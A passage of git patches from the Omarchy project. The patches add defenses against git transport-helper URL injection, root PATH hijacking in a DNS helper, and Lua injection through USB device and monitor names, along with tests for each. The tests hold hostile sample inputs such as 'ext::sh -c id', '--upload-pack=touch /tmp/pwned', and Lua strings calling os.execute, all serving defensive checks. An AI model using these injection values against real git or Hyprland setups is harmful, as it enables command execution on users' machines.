`, the shape that runs a program. `ext::` is the dangerous +# one: git runs the rest as a shell command once protocol.ext.allow permits it. +for url in "ext::sh -c id" "fd::0,1" "gcrypt::x" "a+b::x" "a.b::x" "a-b::x" "1::x"; do + output=$(check "$url") && + fail "omarchy-git-url-check refuses the transport helper '$url'" "$output" + grep -qF "names a git option or transport helper" <<<"$output" || + fail "omarchy-git-url-check names the helper rejection for '$url'" "$output" +done + +pass "a ::
URL is refused" + +# `://
`, the shape #8067 left open: git looks up +# git-remote- for any scheme it does not implement itself, so an +# allowlist is the only form of this check that holds. +for url in "ext://sh -c id" "fd://17" "gcrypt://example.com/x" "zzz://a" "ZZZ://a" "HTTPS://github.com/a/b"; do + output=$(check "$url") && + fail "omarchy-git-url-check refuses the '$url' transport" "$output" + grep -qF "which Omarchy does not clone from" <<<"$output" || + fail "omarchy-git-url-check names the transport rejection for '$url'" "$output" +done + +pass "a ://
URL outside git's own transports is refused" + +# A leading dash is an option to git, not a URL. +for url in "-x" "--upload-pack=touch /tmp/pwned" "-oProxyCommand=x"; do + output=$(check "$url") && + fail "omarchy-git-url-check refuses the option '$url'" "$output" +done + +pass "a URL shaped like a git option is refused" + +output=$(check "") && fail "omarchy-git-url-check refuses an empty URL" "$output" +output=$(check) && fail "omarchy-git-url-check refuses a missing URL" "$output" + +pass "an empty URL is refused" + +# Everything a user actually pastes. The scp-style forms carry a single colon, +# which git never reads as a helper, and the IPv6 host carries `::` inside +# brackets rather than at the start. +for url in \ + "https://github.com/acme/omarchy-weather.git" \ + "http://example.com/a/b.git" \ + "https://user:token@github.com/acme/repo.git" \ + "ssh://git@github.com/acme/repo.git" \ + "ssh://git@[2001:db8::1]:22/org/repo.git" \ + "git://example.com/repo.git" \ + "git+ssh://git@example.com/acme/repo.git" \ + "ssh+git://git@example.com/acme/repo.git" \ + "ftp://example.com/repo.git" \ + "ftps://example.com/repo.git" \ + "file:///home/me/repo" \ + "git@github.com:acme/repo.git" \ + "git@[2001:db8::1]:org/repo.git" \ + "host:-s/foo.git" \ + "/home/me/repo" \ + "./repo" \ + "../repo" \ + "repo"; do + output=$(check "$url") || + fail "omarchy-git-url-check accepts the legitimate URL '$url'" "$output" +done + +pass "the URL forms a user pastes are accepted" diff --git a/test/shell.d/plugin-add-test.sh b/test/shell.d/plugin-add-test.sh index 477d39a8..3e3ca57a 100644 --- a/test/shell.d/plugin-add-test.sh +++ b/test/shell.d/plugin-add-test.sh @@ -111,6 +111,20 @@ for bad in "ext::sh -c touch /tmp/omarchy-guard-test" "fd::17"; do done pass "plugin add rejects transport-helper URLs before cloning" +# The `://` spelling of the same thing: git resolves git-remote- for any +# scheme it does not implement itself, so `ext::` and `ext://` reach the same +# helper and both have to be refused. +for bad in "ext://sh -c id" "gcrypt://example.com/x"; do + rm -f "$clone_marker" + output=$(add_url "$bad") && + fail "plugin add rejects a transport-scheme URL: $bad" "$output" + grep -qF "which Omarchy does not clone from" <<<"$output" || + fail "plugin add names the transport-scheme rejection: $bad" "$output" + [[ ! -e $clone_marker ]] || + fail "plugin add reached git clone for a transport-scheme URL: $bad" +done +pass "plugin add rejects transport-scheme URLs before cloning" + # Option-shaped URLs on argv are refused before clone — by the option parser # (`-*` falls to "unknown add option"), not the guard. The guard's own # leading-dash arm is only reachable through the interactive gum prompt and is diff --git a/test/shell.d/theme-install-guards-test.sh b/test/shell.d/theme-install-guards-test.sh index be2d41f5..bc29338e 100755 --- a/test/shell.d/theme-install-guards-test.sh +++ b/test/shell.d/theme-install-guards-test.sh @@ -40,7 +40,7 @@ install_theme() { : >"$git_calls" : >"$theme_calls" - HOME="$test_tmp/home" PATH="$mock_bin:$PATH" \ + HOME="$test_tmp/home" PATH="${2-$mock_bin:$ROOT/bin:$PATH}" \ OMARCHY_TEST_GIT_CALLS="$git_calls" OMARCHY_TEST_THEME_CALLS="$theme_calls" \ bash "$ROOT/bin/omarchy-theme-install" "$1" >"$test_tmp/out" 2>&1 || return $? } @@ -58,6 +58,29 @@ done pass "a URL that names a git option or a transport helper never reaches git" +# git resolves git-remote- for any scheme it does not implement itself, +# so the `://` spelling of a helper has to be refused as well as the `::` one. +for url in "ext://sh -c id" "fd://17" "gcrypt://example.com/x"; do + if install_theme "$url"; then + fail "omarchy-theme-install refuses the URL '$url'" + fi + + [[ ! -s $git_calls ]] || fail "omarchy-theme-install refuses '$url' before running git" "$(cat "$git_calls")" +done + +pass "a URL naming a transport git does not implement never reaches git" + +# The checker is a separate command, so its absence has to refuse the URL rather +# than wave it through to git. +if install_theme "https://github.com/example/omarchy-cool-theme.git" "$mock_bin:$PATH"; then + fail "omarchy-theme-install refuses a URL it cannot check" +fi + +[[ ! -s $git_calls ]] || + fail "omarchy-theme-install refuses an unchecked URL before running git" "$(cat "$git_calls")" + +pass "a missing url checker refuses the URL instead of cloning it" + # A URL whose derived name would escape the themes directory. for url in "https://example.com/..git" "https://example.com/.git"; do if install_theme "$url"; then From 4637735aa2e98851c68429df1a71b6c361760609 Mon Sep 17 00:00:00 2001 From: Mehmet INCE <4004716+mdisec@users.noreply.github.com> Date: Tue, 25 Aug 2026 08:37:55 +0100 Subject: [PATCH 049/336] Pin trusted PATH in privileged DNS helper (#8172) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * Pin PATH to trusted dirs when omarchy-dns holds root A dev link prepends a user-writable checkout bin/ to sudo's secure_path, so the passwordless `omarchy-dns Cloudflare` sudoers rule lets root resolve a bare helper (dirname, install, tee, nmcli, ...) out of that checkout — turning checkout-write access into arbitrary root execution. Pin PATH to trusted system directories once EUID is 0, leaving the unprivileged wrapper phase free to locate sudo/pkexec on the caller's PATH. Co-Authored-By: Claude Opus 5 (1M context) Claude-Session: https://claude.ai/code/session_01YUWoHbBoKMjsjV6X3nu1H5 * Assert the trusted-PATH pin is gated on root, not merely present The EUID assertion matched `(( EUID == 0 ))` anywhere in the file, and require_root has carried that exact test since long before the pin existed. Deleting the pin left the assertion passing, so it stood for nothing: a run with the pin neutered reached the behavioural probe with both greps green. Anchor on the unindented guard and require the pin to be the line it opens, which no other construct in the script satisfies. Co-Authored-By: Claude Opus 5 (1M context) Co-Authored-By: Codex XHigh * Skip the DNS trusted-PATH probe where user namespaces are unavailable `fail` ends the file, so a sandbox or hardened kernel that refuses unprivileged user namespaces did not just lose the probe — it took the two elevation assertions below it down as well, reporting a product defect where there was only a missing capability. The non-graphical suites are meant to run on any machine and treat a skip as a passing test, the way require_compositor and plugin-add-test.sh already do. Gate the probe on the namespace it needs and say so when it is absent; the static checks above and the elevation checks below run either way. Co-Authored-By: Claude Opus 5 (1M context) Co-Authored-By: Codex XHigh --------- Co-authored-by: Claude Opus 5 (1M context) Co-authored-by: David Heinemeier Hansson Co-authored-by: Codex XHigh --- bin/omarchy-dns | 12 +++++++ test/shell.d/dns-sudoers-test.sh | 54 ++++++++++++++++++++++++++++++++ 2 files changed, 66 insertions(+) diff --git a/bin/omarchy-dns b/bin/omarchy-dns index a22e028c..60f60e74 100755 --- a/bin/omarchy-dns +++ b/bin/omarchy-dns @@ -6,6 +6,18 @@ set -euo pipefail +# Whenever this runs as root — invoked directly through the passwordless +# sudoers rule, or re-execed by require_root below — sudo's secure_path decides +# where a bare helper resolves, and a dev link (etc/sudoers.d/omarchy-dev-path) +# prepends a user-writable checkout bin/ to it. Every helper this script calls +# by bare name (dirname, install, tee, rm, nmcli, systemctl, awk) is a system +# tool, never an omarchy-* command, so pin PATH to trusted system directories +# and keep root from resolving one out of that checkout. The unprivileged +# wrapper phase keeps the caller's PATH so it can still find sudo/pkexec. +if (( EUID == 0 )); then + export PATH=/usr/local/sbin:/usr/local/bin:/usr/bin:/usr/sbin:/bin:/sbin +fi + NM_DNS_CONF=/etc/NetworkManager/conf.d/20-omarchy-dns.conf provider_from_arg() { diff --git a/test/shell.d/dns-sudoers-test.sh b/test/shell.d/dns-sudoers-test.sh index e8424e4a..e5390f46 100755 --- a/test/shell.d/dns-sudoers-test.sh +++ b/test/shell.d/dns-sudoers-test.sh @@ -30,6 +30,60 @@ grep -E 'sudo -n -l -l' "$dns" >/dev/null || pass "dns sudoers rule is scoped to the stock providers" +# The privileged half runs as root under sudo's secure_path, and a dev link +# (etc/sudoers.d/omarchy-dev-path) prepends a user-writable checkout bin/ to it. +# Every helper the script calls by bare name -- dirname, install, tee, nmcli, +# systemctl, awk -- is a system tool, so once it holds root the script pins PATH +# to trusted system directories and never resolves one of them out of the +# checkout. The unprivileged wrapper phase keeps the caller's PATH, which is why +# the pin is gated on EUID rather than set unconditionally. +grep -Eq '^\s*export PATH=/usr/local/sbin:/usr/local/bin:/usr/bin' "$dns" || + fail "omarchy-dns pins PATH to trusted system directories when it holds root" +# require_root carries its own `(( EUID == 0 ))`, so matching that text alone +# would pass with the pin deleted. Anchor on the unindented guard and require the +# pin to be the line it opens. +gated=$(grep -A1 -E '^if \(\( EUID == 0 \)\); then$' "$dns" || true) +[[ $gated == *"export PATH=/usr/local/sbin:/usr/local/bin:/usr/bin"* ]] || + fail "omarchy-dns gates the trusted-PATH pin on holding root" + +# The no-argument path only reads DNS config, so exercise the privileged phase +# directly when the suite is root and as namespaced root otherwise. This reaches +# tr while EUID is 0 without giving an ordinary test run any host privileges. +root_runner=() +if (( EUID != 0 )); then + root_runner=(unshare --user --map-root-user) +fi + +# A sandbox or a hardened kernel can refuse unprivileged user namespaces, and +# the non-graphical suites have to stay green on any machine -- a skip is a +# passing test. Only the runtime probe needs the namespace; the static checks +# above and the elevation checks below run either way. +if (( EUID == 0 )) || unshare --user --map-root-user true 2>/dev/null; then + poison_dir=$(mktemp -d) + poison_ran="$poison_dir/ran" + for helper in tr awk dirname install tee; do + cat >"$poison_dir/$helper" <"$poison_ran" +exec "/usr/bin/$helper" "\$@" +SH + chmod +x "$poison_dir/$helper" + done + + if ! PATH="$poison_dir:$PATH" "${root_runner[@]}" bash "$dns" /dev/null 2>&1; then + rm -rf "$poison_dir" + fail "root omarchy-dns failed its read-only trusted-PATH probe" + fi + if [[ -e $poison_ran ]]; then + rm -rf "$poison_dir" + fail "root omarchy-dns resolved a bare helper from the front of PATH instead of a trusted system path" + fi + rm -rf "$poison_dir" + pass "root omarchy-dns resolves system helpers from a trusted PATH, not the invocation PATH" +else + pass "no unprivileged user namespace; skipping the root trusted-PATH probe" +fi + # require_root returns immediately for root, so the stubs below would not stand # between the script and the host's real NetworkManager and resolved config. if (( EUID == 0 )); then From 9285b19d6a72eba3df8537d62a4cd5506a803d89 Mon Sep 17 00:00:00 2001 From: Adrian Rangel Date: Tue, 25 Aug 2026 03:03:12 -0600 Subject: [PATCH 050/336] [Security] Stop USB device names from being executed as Hyprland Lua (#8129) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * Stop device names from being executed as Hyprland Lua Hyprland input-device and monitor names come from USB descriptors and hyprctl output, so they are attacker-influenceable, yet the toggle and monitor commands interpolated them straight into hyprctl eval and into generated Lua that Hyprland re-executes on every reload. The input-device toggle keys are bound with locked = true, so a malicious USB name reached Lua code execution from the lock screen; a persisted disable made it run on every start. This closes that class everywhere it appeared. - The touchpad/touchscreen disable is now the device name in a plain-text sidecar file, read back by a packaged Lua module on reload, never a generated Lua file. hyprctl eval Lua-quotes the name and control characters are rejected outright. - Dropped the shipped *-disabled.lua templates so nothing seeds a disabled state to /etc/skel, making the name file the single source of truth read from a hardcoded ~/.local/state to match the sibling tools. - The reload loader excludes those two legacy filenames, so a leftover generated *-disabled.lua on a not-yet-migrated install can never be sourced as code again; a migration then recovers the device name from it and deletes it, sanitizing installs that ran the vulnerable version. - All four monitor scripts (internal, mirror, clamshell, scaling) now validate an output name against a plain-connector-name pattern before writing it as Lua, closing the same latent pattern in the siblings. - paths.lua treats a set-but-empty XDG_STATE_HOME as unset, matching the bash side so state is never read from the filesystem root. Co-Authored-By: Claude Fable 5 Claude-Session: https://claude.ai/code/session_0144ZDt44vtxjyF8j9Y88NrM * Let a failing Lua assertion fail the test lua discards the status of a chunk read from stdin, so a blown assert printed its traceback and still exited 0: the surrounding `set -euo pipefail` never fired and the following `pass` printed `ok`. Every Lua block in these two files was unenforced, including the assertion that a quoted `hyprctl eval` cannot reach `os.execute` and the negative control that proves the test can detect the injection at all. Passing the chunk as a script argument makes lua report the failure. Co-Authored-By: Claude Opus 5 (1M context) * Re-apply a recovered input-device disable to the running session The package hook reloads Hyprland during `omarchy-update-system-pkgs`, before `omarchy-migrate` runs, and at that reload the generated Lua is already excluded while the name file does not exist yet — so a touchpad or touchscreen the user had switched off comes back on, and stays on until their next login. Reload once more once the name has been recovered, which is the same path a login already takes to read it. Co-Authored-By: Claude Opus 5 (1M context) Co-Authored-By: Codex XHigh --------- Co-authored-by: Claude Fable 5 Co-authored-by: Omarchybot Co-authored-by: Codex XHigh --- bin/omarchy-hyprland-monitor-clamshell | 8 + bin/omarchy-hyprland-monitor-internal | 7 + bin/omarchy-hyprland-monitor-internal-mirror | 9 + bin/omarchy-hyprland-monitor-scaling | 8 + bin/omarchy-toggle-input-device | 54 +++- default/hypr/disabled-input-device.lua | 21 ++ default/hypr/paths.lua | 16 +- default/hypr/require_all.lua | 22 +- default/hypr/toggles.lua | 16 +- manual/13-toggles-idle-screensaver.md | 2 +- migrations/1787618700.sh | 39 +++ test/shell.d/hyprland-paths-test.sh | 28 ++ test/shell.d/monitor-output-name-test.sh | 123 ++++++++ test/shell.d/toggle-input-device-test.sh | 286 +++++++++++++++++++ 14 files changed, 612 insertions(+), 27 deletions(-) create mode 100644 default/hypr/disabled-input-device.lua create mode 100644 migrations/1787618700.sh create mode 100644 test/shell.d/hyprland-paths-test.sh create mode 100644 test/shell.d/monitor-output-name-test.sh create mode 100755 test/shell.d/toggle-input-device-test.sh diff --git a/bin/omarchy-hyprland-monitor-clamshell b/bin/omarchy-hyprland-monitor-clamshell index cbd1b33f..f33f23af 100755 --- a/bin/omarchy-hyprland-monitor-clamshell +++ b/bin/omarchy-hyprland-monitor-clamshell @@ -11,6 +11,14 @@ MONITOR_LUA="$HOME/.config/hypr/monitors.lua" INTERNAL=$(omarchy-hyprland-monitor-laptop) +# INTERNAL is written into generated Lua and hyprctl eval/dispatch below, so a +# name that is not a plain connector string could execute on the next reload. +# Names come from hyprctl; a user-created headless output can carry anything. +if [[ -n $INTERNAL && ! $INTERNAL =~ ^[A-Za-z0-9._-]+$ ]]; then + echo "Refusing unsafe internal monitor name" >&2 + exit 1 +fi + valid_scale() { [[ $1 =~ ^[0-9]+([.][0-9]+)?$ ]] } diff --git a/bin/omarchy-hyprland-monitor-internal b/bin/omarchy-hyprland-monitor-internal index 836073ee..c0be60fa 100755 --- a/bin/omarchy-hyprland-monitor-internal +++ b/bin/omarchy-hyprland-monitor-internal @@ -28,6 +28,13 @@ off() { exit 1 fi + # The name is written into generated Lua below, so only a plain connector + # name may pass; anything else could execute on the next reload. + if [[ ! $INTERNAL =~ ^[A-Za-z0-9._-]+$ ]]; then + omarchy-notification-send -g 󰍹 "Refusing unsafe monitor name" + exit 1 + fi + if ! omarchy-hyprland-monitor-external-active; then omarchy-notification-send -g 󰍹 "Can't disable the only active display" exit 1 diff --git a/bin/omarchy-hyprland-monitor-internal-mirror b/bin/omarchy-hyprland-monitor-internal-mirror index d5213d4c..ec48c740 100755 --- a/bin/omarchy-hyprland-monitor-internal-mirror +++ b/bin/omarchy-hyprland-monitor-internal-mirror @@ -22,6 +22,15 @@ on() { exit 1 fi + # Both names are written into generated Lua below, so only plain connector + # names may pass; a user-created headless output can carry any name. + for output in "$INTERNAL" "$EXTERNAL"; do + if [[ ! $output =~ ^[A-Za-z0-9._-]+$ ]]; then + omarchy-notification-send -g 󰍹 "Refusing unsafe monitor name" + exit 1 + fi + done + omarchy-hyprland-toggle $DISABLE_TOGGLE off if omarchy-hyprland-toggle-disabled $TOGGLE; then diff --git a/bin/omarchy-hyprland-monitor-scaling b/bin/omarchy-hyprland-monitor-scaling index 240a1ea5..8de107f4 100755 --- a/bin/omarchy-hyprland-monitor-scaling +++ b/bin/omarchy-hyprland-monitor-scaling @@ -80,6 +80,14 @@ set_scale() { local width="$(echo "$monitor_info" | jq -r '.width')" local height="$(echo "$monitor_info" | jq -r '.height')" local refresh_rate="$(echo "$monitor_info" | jq -r '.refreshRate')" + + # active_monitor is written into the Lua string eval'd below, so only a plain + # connector name may pass; a hostile output name could execute otherwise. + if [[ ! $active_monitor =~ ^[A-Za-z0-9._-]+$ ]]; then + echo "Refusing unsafe monitor name" >&2 + exit 1 + fi + local new_scale="$(clean_scale "$requested_scale" "$width" "$height")" # GTK only honors integer GDK_SCALE values, so persist the nearest whole # factor even when the monitor scale itself is fractional. diff --git a/bin/omarchy-toggle-input-device b/bin/omarchy-toggle-input-device index aea0ca11..77ff084a 100755 --- a/bin/omarchy-toggle-input-device +++ b/bin/omarchy-toggle-input-device @@ -7,44 +7,70 @@ KIND="${1:-}" ACTION="${2:-toggle}" +usage() { + echo "Usage: omarchy-toggle-input-device [on|off|toggle]" >&2 +} + case "$KIND" in touchpad) LABEL="Touchpad" ICON="touchpad" ;; touchscreen) LABEL="Touchscreen" ICON="touch" ;; *) - echo "Usage: omarchy-toggle-input-device [on|off|toggle]" >&2 + usage exit 1 ;; esac -# Hyprland sources this directory on reload, so the disabled state survives restarts -STATE_FILE="$HOME/.local/state/omarchy/toggles/hypr/$KIND-disabled.lua" +# The persisted disable is the device name stored as plain data; on every +# reload default/hypr/disabled-input-device.lua reads it back and disables the +# device. Names come from USB descriptors and must not be interpolated into +# shell or Lua. The path is hardcoded to ~/.local/state like the sibling +# toggle tools, so it keeps working when XDG_STATE_HOME diverges. +NAME_FILE="$HOME/.local/state/omarchy/toggles/hypr/$KIND-disabled-name" device="$("omarchy-hw-$KIND")" -if [[ -z $device ]]; then - echo "No $KIND device found" >&2 - exit 1 -fi +require_device() { + if [[ -z $device ]]; then + echo "No $KIND device found" >&2 + exit 1 + fi + + if [[ $device == *[[:cntrl:]]* ]]; then + echo "Invalid $KIND device name" >&2 + exit 1 + fi +} + +apply_device() { + local enabled=$1 + local quoted=${device//\\/\\\\} + quoted=${quoted//\"/\\\"} + hyprctl eval "hl.device({ name = \"$quoted\", enabled = $enabled })" >/dev/null +} enable() { - hyprctl eval "hl.device({ name = \"$device\", enabled = true })" >/dev/null - rm -f "$STATE_FILE" + # Clear the persisted state before requiring a usable device, so a device + # that stops reporting a valid name can never wedge the disable in place. + rm -f "$NAME_FILE" + require_device + apply_device true omarchy-osd -i "$ICON" -m "$LABEL enabled" } disable() { - hyprctl eval "hl.device({ name = \"$device\", enabled = false })" >/dev/null - mkdir -p "$(dirname "$STATE_FILE")" - printf 'hl.device({ name = "%s", enabled = false })\n' "$device" >"$STATE_FILE" + require_device + apply_device false + mkdir -p "$(dirname "$NAME_FILE")" + printf '%s\n' "$device" >"$NAME_FILE" omarchy-osd -i "$ICON" -m "$LABEL disabled" } case "$ACTION" in on) enable ;; off) disable ;; - toggle) if [[ -f $STATE_FILE ]]; then enable; else disable; fi ;; + toggle) if [[ -f $NAME_FILE ]]; then enable; else disable; fi ;; *) - echo "Usage: omarchy-toggle-input-device [on|off|toggle]" >&2 + usage exit 1 ;; esac diff --git a/default/hypr/disabled-input-device.lua b/default/hypr/disabled-input-device.lua new file mode 100644 index 00000000..c9c20943 --- /dev/null +++ b/default/hypr/disabled-input-device.lua @@ -0,0 +1,21 @@ +-- Disable a Hyprland input device whose name was stored as data, not Lua. +-- Device names come from USB descriptors and must never be loaded as code. + +local paths = require("default.hypr.paths") + +return function(kind) + -- Hardcoded to ~/.local/state to match omarchy-toggle-input-device and the + -- sibling bash toggle tools, which all write there regardless of + -- XDG_STATE_HOME. + local file = io.open(paths.home .. "/.local/state/omarchy/toggles/hypr/" .. kind .. "-disabled-name", "r") + if not file then + return + end + + local name = file:read("*l") + file:close() + + if name and name ~= "" then + hl.device({ name = name, enabled = false }) + end +end diff --git a/default/hypr/paths.lua b/default/hypr/paths.lua index dd3fc348..c20489f6 100644 --- a/default/hypr/paths.lua +++ b/default/hypr/paths.lua @@ -4,9 +4,19 @@ local home = os.getenv("HOME") +-- A variable that is set but empty means "unset" (XDG Base Directory spec); +-- bash's ${VAR:-fallback} in the sibling tools treats it the same way. +local function env_or(name, fallback) + local value = os.getenv(name) + if value == nil or value == "" then + return fallback + end + return value +end + return { home = home, - config_home = os.getenv("XDG_CONFIG_HOME") or (home .. "/.config"), - state_home = os.getenv("XDG_STATE_HOME") or (home .. "/.local/state"), - omarchy_path = os.getenv("OMARCHY_PATH") or "/usr/share/omarchy", + config_home = env_or("XDG_CONFIG_HOME", home .. "/.config"), + state_home = env_or("XDG_STATE_HOME", home .. "/.local/state"), + omarchy_path = env_or("OMARCHY_PATH", "/usr/share/omarchy"), } diff --git a/default/hypr/require_all.lua b/default/hypr/require_all.lua index 56153a00..b77a55cd 100644 --- a/default/hypr/require_all.lua +++ b/default/hypr/require_all.lua @@ -4,6 +4,8 @@ -- Pass a module prefix for normal package.path modules, e.g. -- require_all.files(paths.omarchy_path .. "/default/hypr/apps", "default.hypr.apps") -- Pass nil as the prefix when the directory itself has been added to package.path. +-- Pass options.exclude as a set of base names (without ".lua") to skip; a legacy +-- file that must never be loaded as code stays on disk for a migration to remove. local M = {} @@ -12,19 +14,23 @@ local function shell_quote(path) end function M.files(dir, module_prefix, options) + local exclude = options and options.exclude or {} local handle = io.popen("find " .. shell_quote(dir) .. " -maxdepth 1 -type f -name '*.lua' -printf '%f\\n' 2>/dev/null | sort") if handle then for filename in handle:lines() do - local module = filename:gsub("%.lua$", "") - if module_prefix then - module = module_prefix .. "." .. module - end + local name = filename:gsub("%.lua$", "") + if not exclude[name] then + local module = name + if module_prefix then + module = module_prefix .. "." .. module + end - if options and options.reload then - package.loaded[module] = nil - end + if options and options.reload then + package.loaded[module] = nil + end - require(module) + require(module) + end end handle:close() end diff --git a/default/hypr/toggles.lua b/default/hypr/toggles.lua index 1ca62205..bb9f28d4 100644 --- a/default/hypr/toggles.lua +++ b/default/hypr/toggles.lua @@ -4,6 +4,20 @@ local require_all = require("default.hypr.require_all") local toggles_dir = paths.state_home .. "/omarchy/toggles/hypr" package.path = toggles_dir .. "/?.lua;" .. package.path -require_all.files(toggles_dir, nil, { reload = true }) +-- touchpad-disabled.lua / touchscreen-disabled.lua were generated Lua in older +-- versions and could carry an injected USB device name. They must never be loaded +-- as code again: exclude them so a not-yet-migrated install cannot execute a +-- leftover payload on reload. The migration recovers the name and deletes them. +require_all.files(toggles_dir, nil, { + reload = true, + exclude = { + ["touchpad-disabled"] = true, + ["touchscreen-disabled"] = true, + }, +}) + +local disabled_input_device = require("default.hypr.disabled-input-device") +disabled_input_device("touchpad") +disabled_input_device("touchscreen") require("default.hypr.workspace-layouts") diff --git a/manual/13-toggles-idle-screensaver.md b/manual/13-toggles-idle-screensaver.md index 6c01398c..2effdac1 100644 --- a/manual/13-toggles-idle-screensaver.md +++ b/manual/13-toggles-idle-screensaver.md @@ -21,7 +21,7 @@ From the terminal, the same switches are `omarchy toggle `. Run `omarchy | Suspend | — | `omarchy toggle suspend` | | Hybrid GPU | — | `omarchy toggle hybrid gpu` | -The touchpad, touchscreen, and hybrid GPU switches live under _Trigger > Hardware_ (`Super + Ctrl + H`) rather than under Toggle, since they only show up when you actually have that hardware. The touchpad and touchscreen ones survive a Hyprland reload — the disabled state is written back out as a small Lua file that Hyprland sources on startup. +The touchpad, touchscreen, and hybrid GPU switches live under _Trigger > Hardware_ (`Super + Ctrl + H`) rather than under Toggle, since they only show up when you actually have that hardware. The touchpad and touchscreen ones survive a Hyprland reload — the disabled device's name is saved to a small state file that Hyprland reads on startup to disable it again. The Toggle menu also carries a few things that aren't `omarchy toggle` commands but behave the same: battery percentage in the bar, workspace layout (`Super + L`), window gaps (`Super + Shift + Backspace`), and the 1-window square aspect (`Super + Ctrl + Backspace`). diff --git a/migrations/1787618700.sh b/migrations/1787618700.sh new file mode 100644 index 00000000..a5e8e6a0 --- /dev/null +++ b/migrations/1787618700.sh @@ -0,0 +1,39 @@ +echo "Store Hyprland input-device names as data instead of generated Lua" + +# omarchy-toggle-input-device used to interpolate hyprctl device names into +# hyprctl eval and a generated Lua file. Those names come from USB descriptors, +# so recover the plain device name as data and delete the generated Lua. A name +# that could have broken out of the old Lua string literal is discarded, not +# trusted. The old script wrote to ~/.local/state regardless of XDG_STATE_HOME. +toggles_dir="$HOME/.local/state/omarchy/toggles/hypr" + +reapply=0 + +for kind in touchpad touchscreen; do + state_file="$toggles_dir/$kind-disabled.lua" + name_file="$toggles_dir/$kind-disabled-name" + + [[ -f $state_file ]] || continue + + if [[ ! -f $name_file && -r $state_file ]]; then + old=$(<"$state_file") + pattern='^hl\.device\(\{ name = "([^"\\[:cntrl:]]+)", enabled = false \}\)$' + if [[ $old =~ $pattern ]]; then + printf '%s\n' "${BASH_REMATCH[1]}" >"$name_file" + fi + fi + + rm -f "$state_file" + + if [[ -f $name_file ]]; then + reapply=1 + fi +done + +# The package hook reloads Hyprland before migrations run, so this session has +# already dropped the disable: the generated Lua is no longer loaded and the +# name file did not exist yet to replace it. Reload once more now that it does, +# or the device the user switched off stays on until their next login. +if (( reapply )); then + hyprctl reload >/dev/null 2>&1 || true +fi diff --git a/test/shell.d/hyprland-paths-test.sh b/test/shell.d/hyprland-paths-test.sh new file mode 100644 index 00000000..4d880754 --- /dev/null +++ b/test/shell.d/hyprland-paths-test.sh @@ -0,0 +1,28 @@ +#!/bin/bash + +set -euo pipefail + +source "$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)/base-test.sh" + +require_command lua + +run_paths() { + lua - <<'LUA' +package.path = os.getenv("OMARCHY_PATH") .. "/?.lua;" .. package.path +local paths = require("default.hypr.paths") +assert(paths.config_home == os.getenv("EXPECTED_CONFIG"), "config_home: " .. paths.config_home) +assert(paths.state_home == os.getenv("EXPECTED_STATE"), "state_home: " .. paths.state_home) +LUA +} + +HOME="/home/test-user" OMARCHY_PATH="$ROOT" \ + XDG_CONFIG_HOME= XDG_STATE_HOME= \ + EXPECTED_CONFIG="/home/test-user/.config" EXPECTED_STATE="/home/test-user/.local/state" \ + run_paths +pass "empty XDG path variables fall back to their defaults" + +HOME="/home/test-user" OMARCHY_PATH="$ROOT" \ + XDG_CONFIG_HOME="/custom/config" XDG_STATE_HOME="/custom/state" \ + EXPECTED_CONFIG="/custom/config" EXPECTED_STATE="/custom/state" \ + run_paths +pass "set XDG path variables are honored" diff --git a/test/shell.d/monitor-output-name-test.sh b/test/shell.d/monitor-output-name-test.sh new file mode 100644 index 00000000..14cd8852 --- /dev/null +++ b/test/shell.d/monitor-output-name-test.sh @@ -0,0 +1,123 @@ +#!/bin/bash + +set -euo pipefail + +source "$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)/base-test.sh" + +require_command jq + +tmpdir=$(mktemp -d) +trap 'rm -rf "$tmpdir"' EXIT + +stub_dir="$tmpdir/bin" +home_dir="$tmpdir/home" +monitors_json="$tmpdir/monitors.json" +flag_dir="$home_dir/.local/state/omarchy/toggles/hypr" +mkdir -p "$stub_dir" "$flag_dir" + +make_stub() { + local name=$1 + local body=$2 + printf '#!/bin/bash\n%s\n' "$body" >"$stub_dir/$name" + chmod +x "$stub_dir/$name" +} + +make_stub omarchy-notification-send ':' +make_stub omarchy-hyprland-monitor-external-active 'exit 0' +make_stub omarchy-hyprland-toggle-disabled 'exit 0' +make_stub omarchy-hyprland-toggle ':' +make_stub omarchy-hyprland-monitor-internal ':' +make_stub omarchy-hyprland-monitor-internal-mirror ':' +make_stub omarchy-hw-clamshell 'exit 0' +make_stub omarchy-hyprland-monitor-laptop 'printf "%s\n" "$LAPTOP_NAME"' +make_stub hyprctl 'case "$1" in + monitors) cat "$MONITORS_JSON" ;; + eval) printf "%s\n" "$2" >>"$EVAL_LOG" ;; +esac' + +eval_log="$tmpdir/eval.log" + +run_monitor() { + local command=$1 + shift + : >"$eval_log" + HOME="$home_dir" \ + XDG_STATE_HOME="$home_dir/.local/state" \ + LAPTOP_NAME="${LAPTOP_NAME:-eDP-1}" \ + MONITORS_JSON="$monitors_json" \ + EVAL_LOG="$eval_log" \ + PATH="$stub_dir:$ROOT/bin:$PATH" \ + "$ROOT/bin/$command" "$@" +} + +printf '[{"name":"eDP-1"},{"name":"DP-3"}]\n' >"$monitors_json" + +disable_flag="$flag_dir/internal-monitor-disable.lua" +run_monitor omarchy-hyprland-monitor-internal off +grep -Fx 'hl.monitor({ output = "eDP-1", disabled = true })' "$disable_flag" >/dev/null || + fail "internal off writes the connector name into the toggle flag" +pass "internal off accepts a plain connector name" + +rm -f "$disable_flag" +set +e +LAPTOP_NAME='eDP-1", disabled = false })os.execute("calc")--' \ + run_monitor omarchy-hyprland-monitor-internal off >/dev/null 2>&1 +status=$? +set -e +(( status != 0 )) || fail "internal off rejects a monitor name with Lua metacharacters" +[[ ! -e $disable_flag ]] || fail "an unsafe monitor name is not written as Lua" +pass "internal off refuses an unsafe monitor name" + +mirror_flag="$flag_dir/internal-monitor-mirror.lua" +run_monitor omarchy-hyprland-monitor-internal-mirror on +grep -Fx 'hl.monitor({ output = "DP-3", mode = "preferred", position = "auto", scale = 1, mirror = "eDP-1" })' \ + "$mirror_flag" >/dev/null || + fail "mirror on writes the connector names into the toggle flag" +pass "mirror on accepts plain connector names" + +rm -f "$mirror_flag" +printf '[{"name":"eDP-1"},{"name":"HEAD\\" })os.execute(\\"calc\\")--"}]\n' >"$monitors_json" +set +e +run_monitor omarchy-hyprland-monitor-internal-mirror on >/dev/null 2>&1 +status=$? +set -e +(( status != 0 )) || fail "mirror on rejects an 